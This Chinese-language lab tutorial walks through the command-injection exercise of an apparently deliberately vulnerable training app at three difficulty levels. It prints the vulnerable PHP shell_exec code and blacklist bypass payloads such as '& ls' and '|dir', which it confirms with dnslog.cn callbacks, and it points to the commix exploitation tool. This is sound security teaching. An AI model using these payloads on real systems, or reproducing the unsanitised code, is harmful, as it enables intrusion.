如果你想搭建靶场可以购买蓝易云服务器搭建
Command Injection命令注入
命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。
命令连接符
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
以上三种连接符在windows和linux环境下都支持
LOW
代码审计
<?php
//if判断
//isset设置非空
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
//获取输入的数据【ip】赋值给target变量
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
//这里是判断类型
//strstr函数是查找型的函数
//php_uname() 返回了运行 PHP 的操作系统的描述
//'a':此为默认。包含序列 "s n r v m" 里的所有模式。
//'s':操作系统名称。例如: FreeBSD。
//'n':主机名。例如: localhost.example.com。
//'r':版本名称,例如: 5.1.2-RELEASE。
//'v':版本信息。操作系统之间有很大的不同。
//'m':机器类型。例如:i386。
//用于检测当前的操作系统,用过window和linux的都知道,系统不一样ping是不一样的,windowsping+ip
//而linux的压迫ping+ -c 4 ip才可以,如果加会无限ping下去的,所以说要先判断当前的系统才能简单用什么
//系统的操作命令方式
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
//输出操作命令后的结果
echo "<pre>{$cmd}</pre>";
}
?>
从上面的代码基本可以发现
代码中基本上就是用户输入上面就执行什么了
那么我们可以试试
用到工具有
点击Get那个按钮刷新一个ip来
然后把地址
复制过来
点击submit
成功的执行了
我们回到刚刚的工具网站上
点击这个按钮刷新当前状态
我们可以看到这里有一个访问的记录类似
那么他居然可以访问ping我们想要的地址
那么他能不能执行我们想要的操作命令呢
我们可以根前面的命令连接符更改一下
sx6vj8.dnslog.cn & ls
当他执行访问sx6vj8.dnslog.cn的时候会连接执行后面的命令
如果能这样的话我们就可以执行其他类型的linux命令了
Medium
代码审计
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
//这里设置了黑名单,但是没关系
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
代码呢主要就是多了个黑名单
但是也可以绕过
njkhh3.dnslog.cn | ls
Heigh
代码审计
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。
黑名单看似过滤了所有的非法字符,但仔细观察到是把|(注意这里|后有一个空格)替换为空字符,于是 |成了“漏网之鱼”。
r1xn40.dnslog.cn |dir
命令注入漏洞检测工具
GitHub - commixproject/commix:自动化的一体化操作系统命令注入利用工具。
安装
您可以通过克隆官方Git存储库在任何平台上下载commix:
$ git clone https://github.com/commixproject/commix.git commix
注意:运行** commix 需要 Python(版本 2.6、2.7 或 3.x)。
用法
要获取所有选项和开关的列表,请使用:
$ python commix.py -h
要获得commix可用选项,开关和/或有关如何使用commix的基本想法的概述,请检查**使用情况,使用示例和过滤器绕过**wiki页面。
链接
- 用户手册:https://github.com/commixproject/commix/wiki
- 问题跟踪器:https://github.com/commixproject/commix/issues